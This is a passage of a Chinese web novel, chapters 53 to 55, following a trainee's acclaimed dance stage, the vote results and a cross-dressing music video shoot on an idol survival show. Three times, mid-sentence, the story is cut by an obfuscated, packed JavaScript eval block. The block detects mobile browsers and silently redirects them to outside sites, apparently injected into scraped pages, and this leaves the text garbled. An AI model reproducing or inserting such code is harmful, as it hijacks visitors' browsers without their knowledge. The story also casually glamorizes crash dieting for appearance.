白色的肉.体和黑色的无袖背心形成强烈对比,那些肌肉的线条便更加突出,蕴藏着饱满的力量。 “啊啊啊啊啊啊!” 底下一片喧哗。 “太帅了傅寻砚!我要给你生猴子!” 不知道哪里传来一道男声,顿时哄堂大笑。 但台上的人没有被逗笑,他推了推遮住小半张脸的墨镜,纤长的手指与手背的痣又引发新一轮尖叫。 姜苏林笑弯了腰,看着傅寻砚偷偷放下手不敢再动。 “哇哦看来寻砚现在开始,最好还是不要乱动,我怕你舞台还没开始,下面已经有粉丝被帅晕乎了。” 其实已经有人出现缺氧状况,舞台旁边本就备着的医生赶紧过去提供吸氧瓶。 傅寻砚就和冰块一样被冻住,只是因为看不见表情,于是所有人都以为他业务能力极强地维持住了人设。 姜苏林知道底下的观众有多期待,只匆忙说了两句,让队长旻海介绍了一下队伍。 “好的,那接下来舞台交给你们,我和观众都很期待哦。”姜苏林给了个wink,活泼地跑下了舞台。 傅寻砚吸了口气,在舞台中央站定。 “加油!”旻海路过,抱了他一下。 江瀚也拍了拍他的胳膊,“加油加油,大家加油!” 灯光熄灭,观众的尖叫也停下,室内一片沉寂,彼此的呼吸声就像在耳畔。 53.第五十三日 哒哒哒,鼓点渐次响起,灯光随之一盏盏闪亮,解开了舞台的帷幕。 聚焦,穿着黑色无袖背心的青年如同夜空星辰般闪耀登场。 光影交错中,他的身影如此修长而挺拔,每一个步伐都充满了力量与自信,带着一种与生俱来的舞台王者气质。 脸上那副造型奇特的墨镜如此适配,让他就像是雨夜的黑衣行者,是猎豹一般的杀手,普通人不可直视,不可挑衅。 观众们期待着能摘下这副墨镜,但脑中又有神秘力量对抗着这种想法。 他们害怕被墨镜后的杀机灼伤。 而且太帅了,因为墨镜的遮挡,那张脸锋利之处显露无疑。下颌线、鼻梁、唇峰,每一样都是造物主的杰作,画家的精雕细琢亦不及万分之一。 一步一步,在其他四人的包围中走来。 “无法放声呼唤你的夜晚” 随着鼓点顿头,肩颈随之狠狠颤动,每一寸肌肉都在控制之下贡献最诱人的凸起和凹陷。 “虚拟与现实/边界消散” 转头,瞬间整个现场再度尖叫,在那节制而性感的展背动作中,舞台上青年漂亮的背肌和脊骨如同不可占有的华贵艺术品。 再转头,五人动作划一,以傅寻砚为中心,从头部开始做分离律动——头,到胸,到胯,到腿,好像电流那样流畅运行。 “数据洪流漫过血管/代码在瞳孔深处狂欢” 唱毕,灯光一闪! “救命啊好帅啊!”小美的高音刺破耳膜,柳雨在极致的迷幻里睁大了眼。 t台上的人扔掉了墨镜。 他漂亮的指尖从鼻梁正中划过右眼,那蓝绿色的美瞳里幻光一闪而过。 天呐,这是怎样精致的一张脸! 一周减重五斤的成果都体现在脸上,瘦削到有些病态的脸搭配着眼下的腮红,以及眼上的小烟熏。 他是森林里饥饿的血族,是古堡中逡巡的黑暗巨蛇。 他的瞳孔凝视着猎物,他的神色愈发疯狂。 他将拖拽着我们堕入深渊,自愿把血与灵肉献出,让精神与机械结合飞升,神思在宇宙的混乱中超脱。 无情而疯狂,冰冷而温柔,错综复杂的情感在那双瞳孔里挣扎。 “我去,这丧病风也太强了吧!”被隔壁小姐姐拖来的二次元男捏着嗓子陪同尖叫。 “全息广告灼烧视网膜/赛博部落格的梦碎成片段” 舞台中央换了人,红色寸头的旻海彰示了他的存在感。 野性凶狠,他就是浪迹在街头的不羁行者,那颗在他眉毛尽头的钉子熠熠闪光。穿插过眼眶的疤痕更是锦上添花,让乖张达到极致。 旻海、江瀚和白镇轮流站了C位,他们的舞蹈都很吸睛,每一个动作都引发台下的惊呼。但柳雨无法将目光从傅寻砚身上移开,跟着他在台上转了一整场。 那个垂在无袖背心胸口的银色十字架绝对是神来一笔,将人的视线聚焦在精致的锁骨和颈部线条,放大了性感与诱惑,也展现出一种不羁的摇滚风格。 这首歌的舞蹈贴合着背景乐的鼓点,每次一踩地,傅寻砚踏在舞台上都能发出沉稳而有力的声响,仿佛在向观众宣告他的存在。 他的身体本就柔韧性极佳,所擅长的isolation也在这首歌得到淋漓尽致的展现,既有流行舞蹈的时尚与活力,又有街舞的酷炫与激情,特别是旻海设计的几个动作,做起来隔断感十足,像是机械人的行动,诡异而又好看。 “你孤身一人在黑夜徘徊/我的呢喃让量子纠缠着对错” “我们之间书写true-true-true-love” 傅寻砚再次站到了中间。 人们只看到中央的青年,两指轻轻点唇,而后迅速移开像是给了一个飞吻,那张美人脸就朝着镜头笑得张狂,笑得肆意,笑得仿佛再没有了明日,如此决绝热烈。 腿抬起利落一踹,踹向了所有人的心脏,让人骤停一瞬。 不仅台下,连镜头前很多人都不由自主向后晃了一下。 闪烁的灯光、流动的色彩、抽象的图案,整个舞台陷入一种神秘而梦幻的氛围。随着节奏愈发加快,火焰在台前喷涌而出,璀璨的金星银星之后,青年的笑容越发魅惑。 “心脏,嘶——”小美眼神灼灼看着台上,脸上的表情明明是笑着,可胸腔里太过强烈的跳动带来了窒息感。 可她无法克制,身体随着音乐,随着那个人的律动而继续战栗。 就在人们达到巅峰,就快因承受不住而倒下前,乐曲终于来到了最后一段。 背景乐愈发大声,电流的涌动窜入每个人的神经。 傅寻砚的嗓音独特而富有磁性,高音部分高亢激昂,如同划破夜空的流星般耀眼,低音部分则低沉醇厚,仿佛是从地底下传来的深沉共鸣。 完全不同于一公时的传情达意,二公的这首歌里他放大了声音本身的质感,情感却非常空洞,这种演唱方式把每一位听者的心弦吊起,迟迟不放下。 失真感太过强烈,所有人都觉得像在看电影,看一个极致诱惑的青年在另一个次元肆意舞动身躯。 贝斯加入,与电吉他交感。 他随着音乐晃动着身躯,扬起的脸微微眯着双眸,满天细碎的金色彩带飘落,挂在他的眉间、落在他的胸脯上。 他是堕落的天使,在迷幻的人间纵欲。 绯红攀爬上他不染纤尘的面孔,圣者被诱惑所玷污,失掉心中对宇宙运行的执守,变成孽和情的产物。 他仰着头,下颌线在蓝紫色灯光里变幻着明暗。 只是小幅度的晃动而已,却剥夺走了所有人——包括后台其他练习生的呼吸。 他们看着他的笑容逐渐褪去,多情者清醒,幻梦破碎,赛博世界崩塌。 不计后果的愉悦褪去,他们终于仍要面对这苦难世界的折磨。 Ending。 镜头里,他压着眉。 汗水从额角晶莹滑落。 明明是那样不让人感到愉快的表情,却比任何一个笑容都隽永,唤起每个人心底的隐痛。 现场安静,直播间也很安静。 后台无声,导师席也无声。 每个人的眼神却又那样亮,这本不该是沉默的时候啊。但满腔的情感堵塞在胸中,让人无法找到始发点。像是火山被堵住,地震断带被水泥愈合。 姜苏林倒吸一口气,终于将导师团所有人游离天外的精神扯回来。 舞台此时真正结束。 傅寻砚站起身来的瞬间有些眩晕,这两天的节食让他的外表无限符合他所想要的感觉,但也真的——饿得慌。 一只汗津津的手臂扶住他,将他搂入怀里。 “结束了吗?”傅寻砚轻轻问。 “嗯。”江瀚的嗓音里充满了笑意,“我们做到了,完美结束!” “他们都呆住了呢。”旻海也拉着白镇凑过来,将傅寻砚团团围住。 周奇不能表现出不合群,融入他们围成一个圈。 这一刻,不论之前有何心思和龃龉,台上的五个人的想法都是一样的干净。 他们做到了,五天的汗水与困倦换回了想要的舞台。 他们已经成功,不论票数如何。 姜苏林静待着他们平复呼吸与心情,很久后才走上前。 台下也醒悟过来,歌曲幻化出的赛博世界破碎,他们被驱逐回了真实世界。 “安可!”一个人喊。 “安可安可!”很多很多人喊。 再一次,复刻了一公时《风啊,又是一夜雨》的场景。 “他好厉害啊,每次都是用最少的布景,做最成功的舞台。”率先清醒过来的女孩带着赞赏之意感慨。 身旁的同伴被点醒,“是哦,虽然每次都有舞台布置得很漂亮,但效果和傅寻砚的都差了一截,这是为什么?” 有人加入他们的讨论,“因为爱豆,最重要的还是唱跳和生命力啊!” “那些布景啊概念啊,都得为舞台本身服务,如果喧宾夺主让概念和剧情一类的东西超过唱跳,就会很割裂,我要看这些不如去看电视剧,为什么要看爱豆?” “有道理。”不少人赞同。 男孩忍不住插嘴,“所以傅寻砚成功是有道理的,我感觉他每次都很真诚地在打磨歌曲,呈现的效果真的很好。” 傅寻砚能听见自己的呼吸,如此剧烈,如此真实。 《赛博之恋》的舞蹈很难,节制的性感可不是说说而已,除此外他还得花很多力气做表管,傅寻砚头一次因为一个舞台而有些头晕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15403323|164369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼花。 他定了定神,迫使自己在热烈的赞叹和炽热的灯光照耀中保持清醒。 身边是笑着的江瀚。 是活着的他,还有在舞台上依旧鲜活的自己。 《赛博之恋》可谓神兵天降,直播五分钟后,这个片段就在网上被浏览转发共计1亿次。这可是2015年,流媒体刚刚进入成熟期的1亿次! 这个夜晚,地球上无数闪烁的屏幕里,都播放着那个仰起头在昏暗如酒吧的灯光里节制扭动身躯的青年。 他的每一帧表情都被数万人截下,出现在手机屏保、电脑屏保等各个地方。 实在是太魅惑了…… 尤其是在“爱吃偶的莲蓬”发力,一张“神明纵欲”的直拍图流出后,无数青年在点开的瞬间斯哈发声。 外网内网竞相模仿,只不过群魔乱舞。毕竟那样子的表情,稍不注意就会太超过而变成了油腻。 此时的演播厅内,无数观众仍然恍恍惚惚,眼神下意识追随着那个银发的青年下场,他们看着他被朋友揽入怀中,看着他隐入黑暗。 “你还好吧?”旻海有些担忧,从下场后傅寻砚的脚步就很虚浮。 傅寻砚揉了揉眉,头脑的痛感甚至盖过腹中灼烧。 “嗯,我想接下来一周我得好好吃饭了。” 江瀚泪眼汪汪,“当然啊,你看看你的脸颊,都凹进去了!” 唯独周奇跟在身后静默无声,从表演结束他就不太对劲,脸上除了消耗气力后的痛苦,还有很轻微的深思。 他第一次感受到,拼尽全力奔跑后的畅快。 他并不清楚自己的表现怎么样,但身体里蔓延出的快意不能作伪。 舞台,原来是那么有吸引力的东西吗?周奇埋头,眼中的光明明灭灭。 他的身形并不高大,175的身高正适合被很多粉丝拉来做花,加上本身脸蛋长得又中性,不知不觉就变成了现在这样。 这真的是他想要的结果吗?靠着上尚知道在何处的“金瓜”,赌上自己的命运,扭曲自己的形象,违背自己的本性? 他感到挣扎。 不行…… 那个录音!他要把它收回来! 再次走到等待票数的小屋。 《waterfall》有二十多人弃票,组员里票数最高是北伽,一个中泰混血舞蹈教师,在429票中拿下171票。 《鸦雀无声》这次依旧不行,450票只拿了400不到,也就是说有五十多个人很不满意他们的舞台而选择弃票。 唯独伯弥,或许是舞台发挥了他的表演优势,加上那几个舞蹈动作勉强练出了几分好看,成功获得了目前最高的201票。 这个结果令《鸦雀无声》组内真的鸦雀无声,不甘、愤怒、嫉妒和失落掺杂,以至于即便已经离开,这间小小的待机室也似乎充斥着不愉的气息。 旻海握住傅寻砚发冷的手,眼神坚定:“我们一定能拿满票。” 嗯,傅寻砚朝他一笑,点头,却见旻海咳嗽了一声转开脸。 白镇在后面看着,捂额。 “傅哥,你卸妆前最好还是别朝着人笑比较好。” 兄弟们把持不住……不是淫.秽那种啦,只是很容易失神。 从舞台上下来后,傅寻砚的脸更是充满了一种苍白的禁欲,让人想要触碰又怕破碎的精致感无时无刻不在吸引视线。 “开始了!” 屏幕亮起,江瀚拍了拍左右两边的人。 周奇心神微动,但随后又自嘲或许江瀚只是太激动而忘记了与自己保持距离。 《赛博之恋》组很奇妙,他们并不嘲讽他,只是淡淡拉开与他的距离,谈不上孤立,只是警惕。而正是这种小心翼翼,不想接近又怕伤到他的警惕,让周奇内心五味杂陈。 依旧从最后一个人开始显示,周奇不出意外垫底,拿到了32票。 这对他来说已经是个好结果,一个明明不擅长舞蹈(虽然他哪样都不擅长)却选择了高难度dance曲目的人,能顺利完成都值得贺喜,在票数上就不要有所追求了。 放在其他舞台,周奇还能靠麦麸吸引的粉丝赚点基本票,和傅寻砚一组……每个人都必须在赛前做好自己粉丝跑票的准备。 他的吸引力,太大了。 54.第五十四日 “白镇、江瀚:61票。” “好哥们。”江瀚立刻与白镇抱抱,两人早料到票数不会高,因此并不失落。 或者说他们在选择傅寻砚的那一刻,就放弃了公演票数,而选择留下一个完美舞台,孰轻孰重傻子才会弄不懂。 旻海捂脸在傅寻砚后背偷笑,“呀寻宝,你又要把哥粉丝都诱惑跑了。” 傅寻砚转头拍了拍他的寸头,“没有,别瞎说。” 旻海不停,抵着他的背蹭了蹭,像只小刺猬。 旻海票数揭晓,果不其然。 94票。 一个低于二公很多人,但莫名又不能被视为不具备实力的票数——毕竟傅寻砚组是个什么情况大家都懂。 202票,傅寻砚超过伯弥,成为了目前舞蹈组第一。可两者含金量完全不能比较,伯弥的201票是因为组内其他练习生的人气低迷,但傅寻砚可不一样。 这组里,前二十占了四个,就连最低的白镇也在第二十七名,本该出现的大乱斗却因为傅寻砚而变成了独角戏——仅从票数上来看。 “我们拿了满票!”江瀚率先发现关键,一下子跳起来,拽得身边白镇差点跌倒。 是哦,我们好像是满票诶! 旻海和周奇也有些不可置信,纷纷开始算数。 没错,满票,是截止到第六个舞台为止,唯一的满票舞台,甚至超过尹星蘅所表演的经典曲目《予我热爱》447票,仅有3人弃票。 “啊啊啊啊!太好了!我们可太棒了!”江瀚活络起来,抱着所有人又蹦又跳,快乐之情溢于言表,完全没有因为自己的低票数而伤心。 观众也是一阵哗然,彼此偷窥着脸色,尤其是那些举了对家牌子的粉丝,现在低头红着脸不敢说话。 不好意思,因为蛊王太蛊了,她们再一次忘记了事先约定而下意识投了票。 柳雨更是激动得不能自已,卡在喉咙里的尖叫被拼了命压制下来,她只好和小美相互抓着手,唯恐尖叫太过给傅寻砚带来麻烦。 这一瞬间,不论是现场还是网络,没有人再记得关于傅寻砚的绯闻,只余下无法克制的战栗的心脏,像是要跃出宇宙一般激烈地跳动。 [太绝了太绝了太绝了!] [真的,没有一个人看着这个舞台能说出话来] [傅寻砚的脸,是人类迄今为止最佳艺术品啊!] [我靠啊这个表情管理,真的,我看的每一秒都心里黄黄,满脑子都是把他这样那样!绝对是魅魔啊妈妈!] [……真的,他的表情完全是堕落的欲望之神,带着一股子疯劲] ** 傅寻砚就这样在众人的簇拥下回到后台。 男孩们羡慕、嫉妒、惊叹的眼神一个个闯入傅寻砚的眼睛。他们一拥而上前来道喜,但并不心甘情愿,有好几个眼眶里的湿润并不来自观看了完美表演后的欣赏与激动。 而是来自打击。 因为看见了差距,那样明明白白的横亘在他们与傅寻砚之间的距离将自卑尽数刨出,很多练习生突然产生无可言喻的挫败感。 那是他们永远无法企及的高度,那个人,在发光。 像是俯视万物生灵挣扎的神明,高高在上,无有感情。 但他说话了,将人们从地狱拽往人间,那个本该作为一种精神象征而不需表达情绪的存在,主动打破了将之捧上神坛的边界。 他们看到他眨了眨眼,嘴角的笑意蔓延。 “大家,要加油啊。” 为你们所付出的努力,为了那个还在努力触碰的梦想,要加油啊。 后台静默了一瞬,然后像是载满蒸汽的水壶,终于滚烫起来。 “好!我们一起加油!” “加油加油加油!” “我一定要超过你!” 突然的宣言让全场再次寂静,那名练习生挠挠头。 “喂,开个玩笑活跃一下气氛嘛,你们这样看我也太让我伤心了!” 多亏了他的耍宝,气氛慢慢暖起来,先前的死寂好像从来不曾存在。 傅寻砚在他的位置上坐下,安静盯住屏幕,和其他所有人一样观看剩下的舞台,但心思飘忽了一瞬。 他想他是幸运的。 纵使上天在他人生的前半段施加了很多考验和苦痛,但傅寻砚从来不为自己选择的任何一条路后悔。 那些刻在他基因里的东西,比如天赋,比如努力,比如性格的成熟,都是哪怕穿越时空也无法被磨灭,被夺走的东西。 谁都有梦想,但不论是做偶像、明星还是各行各业,总有着领先他人的骄矜,与无法超越的遗憾。 傅寻砚是幸运的,他有一张完美的脸,有很强的学习能力,有不跑调的歌喉与被驯服的四肢,这使他领先了99%的人。 此时此刻,他坐在这里,视线穿透一个个无所察觉的背影,那些男孩们的热烈、激动,像汗水一样从背上慢慢渗透出来,烫伤傅寻砚的眼睛。 他无法为他们感到抱歉,也并不想施与同情,但人与人之间的机遇——这莫名其妙、神秘难测的东西就像沉积在池水深处的砂砾,总是因为一场暴雨或飓风而翻卷起来。 扰乱心的清澈。 但在排除所有不可控因素之外,仅代表自己,傅寻砚向所有努力过的人致以敬意,不论他们的天赋支持他们得到什么样的结果。 Just hate laziness. 热浪依旧持续着,直到晚间十点,所有舞台才全部结束。 男孩们大汗淋漓地坐在后台,空调吭哧吭哧地运行着。 “不知道这次投票结果怎么样啊?” “嗯,别的不说,傅寻砚那组肯定是第一了,那可是全场唯一满票舞台。” “确实,不过个人票……好吧,也没有悬念,傅寻砚肯定是第一。” “能不是第一嘛?这小子是什么级别的魅魔啊,那个造型好看得也太超过了吧!” 角落里的练习生讨论着讨论着,又忍不住站起身来去寻找那个人,可惜距离太远,他们只能瞥见饱满的后脑勺。 “诶,早知道就坐前面点了。” “是啊,我还想看看那张脸,没别的意思,我学美术的,太漂亮的东西总是会勾引我的视线。” 工作人员没能让他们聊太久,后台很快做好了数据统计,在疏散完现场群众后,直播间再度开启。 观众们看见姜苏林站在上方,手里拿起了结果卡片。 台下,六十个练习生按照二公表演曲目站好队伍,一共十二列,vocal组四列,dance组五列,rap组三列。 “现在,我要公布此次vocal组排名第一的队伍。”姜苏林朝着镜头和练习生们笑了笑。 “《世界一等表白失败》,共获得428票,组内第一沈迟。” “《予我热爱》,共获得439票,组内第一尹星蘅。” “《霸王别姬》,共获得442票,组内第一白闻及。” “《再回首》,共获得425票,组内第一冯家瑞。” 被喊到名字的四个人调整了站位,来到了队伍最前方,除了冯家瑞是个新面孔有些紧张,其他三个人对视一笑。 并非无所谓结果,他们眼底的野心依旧存在,只是结果既定,只等着宣判而已, 在场的练习生互相交流了一下,基本都知道谁拿到了vocal组第一。 “白闻及。” 不出所料,其他三人纷纷拥抱了一下白闻及。 白闻及笑着推开沈迟和尹星蘅,“你们有点臭烘烘。” “可恶!”尹星蘅横眉冷对,“居然说我臭,我一直都香香的好吗?” 其实是臭的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15413707|164369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。哪怕他们vocal组不太要跳舞,但舞台上灯光照的人能热死,基本人人出了一身汗。 白闻及不对冯家瑞说这话,就逮着自己和沈迟欺负,实在是不要脸。 尹星蘅趁镜头不注意敲了白闻及一脑壳,吓了后边练习生一跳,迟疑地看着他。 “就为了他超过你两票?” 尹星蘅哽咽无语。 随后是rap组,基本没有悬念,达裴的魅力无人能挡,狂揽209票成为rap组第一。 如果可以赌博的话,vocal组白闻及夺冠是个冷门,赔率超高,但rap组和dance组赔率低到可怕,问一百个练习生他们也会告诉你傅寻砚一定是第一。 如果不是第一那就是观众没品。 果不其然,傅寻砚以202票登顶dance组第一。 在一片不知道是否真心的欢呼声中,傅寻砚被揽入无数人的怀抱,他笑着,但笑意不达眼底。 舞台完成的喜悦在下台那瞬间已经结束,结果上的承认就像是餐后甜点。 当晚,无数人未眠。 官网播放出的舞台,同时观看数最高达到了五万人,弹幕上满屏的“姐妹你也没睡啊”“这哪睡得着啊”。 是啊,这哪里睡得着啊,屏幕中切了近景的脸蛋完全是世界一等,恍若深夜出没的病娇魅魔,带着那种不顾你死活的勾引,诱骗无数人瞪着眼睛看了一遍又一遍。 [我无数遍感谢这个时代的科技发达,让我能欣赏这种等级的美貌] [没什么好说的,新晋老公在此] [嘿嘿嘿老婆的汗也好香的样子,不准顶胯,顶我!] [就那个……那个腰,那个肩,那个小表情,带劲!] 以至于当晚官方app的时间提醒跳出来一遍又一遍。 “您已经观看本视频一小时了,注意用眼,多多休息哦~” 可惜app吉祥物的媚眼抛给瞎子看,不敌傅寻砚一个喘息。 今晚的热度排行榜被《新世纪》霸占个彻底,连总榜也终于如粉丝所期望的那样,由傅寻砚领衔占领。 第一位就是“傅寻砚/新时代魅魔”,第二位是“年度舞台《赛博之恋》”,第三名是“达裴/超帅rapper”,第四位是“白闻及《霸王别姬》”,第五位则是坚持不懈的“傅寻砚/榜上富婆”。 顺带一提,白闻及的戏腔在这次vocal舞台里也惊艳众人,带给了他实打实的关注上升。 说一句全网狂欢不为过。 甚至一些不受关注的练习生在此期间票数也在上升,归根究底是节目整体流量增加,总有些喜欢冷门选手的路人会关注到目前处于下位圈的练习生们。 也算是令他们受益了。 节目组自然乐得龇牙咧嘴,在一片欢腾之中,沈子卿和妆造组负责人确认着明天的拍摄任务。 “裙子都按照他们的码数准备好了吧?尤其是叶莱那套。” “沈导,你就放一百个心吧,叶莱的那套完全按照照片里一比一复刻。” “嗯,小王,明天记得早点把绿地收拾出来给他们拍摄,今天抽中扮演MV男主的人是谁?” “是江瀚。” 沈子卿点点头,“那么女主就是傅寻砚、叶莱、刘永善、白镇和冯家瑞咯?” “是的沈导,不过关于MV拍摄场地我还想和您确认一下,是使用绿地吗?会不会换成内景更合适一点,毕竟《世界第一等表白失败》和绿地实在不搭诶。” “不。”沈子卿点了点手臂,“就是要不搭才行,毕竟本来就是娱乐性质的MV,太一本正经地拍,观众会质疑为什么不给其他舞台也准备MV。” 好的,小王点头。 沈子卿又想起什么,叮嘱小王,“再加一个环节吧,让六个人彼此帮忙化妆,如果化得不好再让妆造老师修改。” 55.第五十五日 “老板?老板!” 林薇薇在助理的呼叫声终于如梦初醒,下意识摁灭了平板。而呼喊她的姑娘极力憋住快要翘起的嘴角,心里嘀咕林女士倒是没必要遮遮掩掩。 反正这两天,这个世界上所有人都在被名为傅寻砚的黑洞吞噬,至于能否迅速挣脱出来,得看个人意志力和这该死的不得不上的班。 姑娘今日工作饱和,起床后再次看了五遍切片,强行要求自己戒掉名为傅寻砚的瘾,匆匆来上班。 咳咳——林薇薇难得暴露自己不专业的一面,有些尴尬,极为心虚地遮掩。 “找我什么事情?” 姑娘捧着平板,“我来向您汇报一下数据,周总吩咐的,因为前天晚上直播播出后中低端线直接爆单了,我们的库存远远不够,最近要加紧生产。” 林薇薇接过平板,上头的数据令她也吃了一惊。 “五万单?”林薇薇诧异地把页面划回商品栏,确认昨晚她们没做什么大甩卖,价格一如既往保持着香香接近四位数。 姑娘推了推眼镜,“是的,只是累计至昨天早上五万多单,今天还在有人下单呢,这个效应该能够持续到周中。” “这样的话总量就会达到八万了。” 那可是超出一个亿的销售总额! 林薇薇很快冷静下来。 从签下傅寻砚开始,林薇薇对他的带货能力就有信心,但她万万没想到,大使还没开始宣传呢,仅靠着一个完全无关的舞台,就让人们豪掷千金。 售卖得最好的商品,就是他们昨晚推出的联名背心。 嗯,看起来其实很简朴,唯有胸前的固定银链设计别出心裁,但这么一件薄薄的衣服直接卖到了875元。 成本么……时尚圈子就是这样的,衣料和那颗项链钻的成本加起来超不过200元,但还有300元要被设计师拿走,定价自然就贵了。 “奇怪了,他不是还有绯闻问题吗?”林薇薇登录官网新闻界面,他们力挺傅寻砚的动态已经被挤到了六七位,这说明周总没有做出新动作来帮助傅寻砚,那么为什么人们还能无视他的绯闻来Patrox下单? 立在一旁的姑娘脸色突然骤变,她抠了抠手指,似乎在估量严肃工作以外的行为会不会惹得铁面无私的林女士生气。 最后还是伸出了充满心思的小手,在平板上滑动了一下切换到《新世纪》节目界面。 林薇薇抱有深意地扫射。 “啊老板我没有在工作时摸鱼!”姑娘双手举过头顶,一脸委屈地解释,“这是我早上起来看的,您看时间记录嘛!” 林薇薇甩甩手,“行了行了你这个活宝,到底要我看什么?” 林薇薇每天工作很忙,时尚圈更新迭代的速度太快了,她必须耗费大量精力去看新布料、研究新风尚、练习旧友,所以不如这些年轻孩子有功夫有精力去追逐节目。 往往只有上了热搜,或者身边有人推送给她,林薇薇才会注意到发生了什么。 偏偏今天早上她有一场跨国会议,所以连热搜都没能光顾。 姑娘恭敬地为她打开昨晚新更的内容。 林薇薇扫了一眼,标题是《新世纪偶像之艺能局番外篇》,长长的标题写着“傅寻砚叶莱互化妆容,谁能成为第一美女?” 这什么跟什么? 林薇薇浸淫时尚圈多年,对男扮女装的事情接受良好,她只是不明白傅寻砚和叶莱为什么要争第一?他俩的脸都是绝美好吗?这有什么好争的? 半天了,办公室没传出声音,姑娘纳闷抬头,发现老板正以一种很平静但又很可怕的眼神盯着自己。 她举手示意抱歉,然后躬着身体卑微退出办公室。 “哈哈哈您看您看,我忘了还有报告没做好呢,我去做哈哈哈。” 等人离开,林薇薇才点击了播放键。 ** “都怪你!”叶莱故态复萌,只要单独和傅寻砚在一块,他就毫不掩饰自己的幼稚。 傅寻砚扒拉着衣服,“怪我吗?要找根源的话,如果你当初不扮女装接近我,根本就不会有之后的问题不是吗?” 叶莱憋住。 “还有哦。”昏暗的室内青年转过身,他的眼眸含笑,并没有话语中的谴责,“我现在可是被你拖下水。” “明明澄清只要你穿就好了,现在可是有好多哥们陪着你‘舍生取义’了。” 叶莱没话再讲,恨恨瞪着傅寻砚的背,一把抢先拿走他要选择的唯一一件最保守的女装。 “我要这件,你挑别的吧。” 傅寻砚无奈。 可是那件貂毛外套,是露背的诶。 原来叶莱喜欢这个调调吗?真没想到。青年疑惑地挠了挠下巴,继续在一堆大码女装里找合适的款。 反正变装已经注定,他得选好看的。毕竟他希望粉丝们能看到的是美美的性转版他,而不是什么辣眼画风的他。 隔壁卫生间传来一阵嬉笑打闹,江瀚捏着嗓子的尖叫刺破耳膜。 “啊哟你们干嘛啦,我只是在做皮肤管理啦。” …… “那你的腿毛未免也太多了!堵下水道了!” 傅寻砚下意识看了看自己光滑的腿——就在几分钟前,他也一样在隔壁进行了脱毛,保证腋下和腿部、以及将裸露的手臂管理到位,绝不让人感到恶心。 说起来,本来应该是选完衣服再根据需要脱毛的,但江瀚这个不参与变装活动但对监工异常热情的家伙,打着完美偶像管理的旗号,说服节目组让每个人都脱毛。 虽然江瀚挨了一顿打,但他们这些参加活动的练习生也无法逃脱脱毛的命运。 傅寻砚对此倒没感到难受,反正每周他都会进行腋下管理,这次只是再加一个腿部而已。 ** 十分钟后,几人面面相觑。 “嗨”刘永善兴奋举手打招呼,激动地满场奔跑,完全无视了及地长裙的拖拽。 “哇哇哇没想啊白镇,你居然是个大美女!” 白镇脸一下子就红了,他不自在地掩了掩胸口,节目组给的小白裙让那里露出一大片肌肤。 “谬赞了,你最好看才是。”白镇“怼了”回去,但很明显一点也没伤害到刘永善,反而使他矫揉造作扭出S型曲线。 “是吧?我也觉得我超美的!” “不对,我收回我的话。”刘永善突然摁下暂停键,立在了原地,神情严肃像在思考什么国家大事。 “我觉得寻宝才是最美的,嗯,虽然还没看到但我坚信!” 白镇装作难过,表演了一波美女拭泪。 刘永善简直按捺不住期待,他在已经换好装的几个人之间穿行,询问什么时候可以开始互相化妆。 “嘿嘿嘿。” “你不要这样笑,怪让人害怕的。”白镇摸了摸手臂上的鸡皮疙瘩,突然想起来什么,一脸迟疑地看向冯家瑞。 “你,会化妆吗?” 冯家瑞憨憨一笑,“应该算会吧?” 白镇闻言,立马一把扯住身边的刘永善,“姐妹,我和你搭档!” 就让江瀚和冯家瑞互相折磨去吧。 《世界第一等告白失败》本就是一首很有意思的歌,正因如此节目组才方便拿它做筏子来拍摄什么MV,歌曲的原创是一支没什么名气的乐队,听说《新世纪》愿意给他们拍MV后欣然同意。 至于恶搞不恶搞的,乐队倒是很满意节目组的剧本,觉得非常有创意和吸睛。 “拜托,那可是叶莱和傅寻砚,他们要在我们的歌里女装诶!”贝斯手双手合十祷告。 “兄弟姐妹们,我们的富贵要来了!” 在这个剧本里,抽中男主签的江瀚,要表演一位穿越到不同世界对女孩们进行表白的屌丝。 第一个剧本的女主,是扮演校园小清新的白镇,第二个女主则是刁蛮千金小姐刘永善,三号女主角是酷帅大姐姐冯家瑞。 嗯,四号女主就是黑长直杀手傅寻砚,五号女主是穿貂富婆叶莱。 节目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15423719|164369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 组故意改变了播放顺序,将其他四人的完整造型和时间线放在了MV播放前,轮到叶莱和傅寻砚时,他们没戴假发也没穿女装,只是先互相化妆。 眼看着粉扑就要上脸,叶莱没忍住一把擒住对面的手腕。 “我的脸很贵的,你千万小心。” 没有在开玩笑,叶莱真的很认真。 傅寻砚觉得有点好笑,“好的呢富婆大人。” 说完便在手背挤了些粉底,然后蘸了些许缓缓为他上妆。 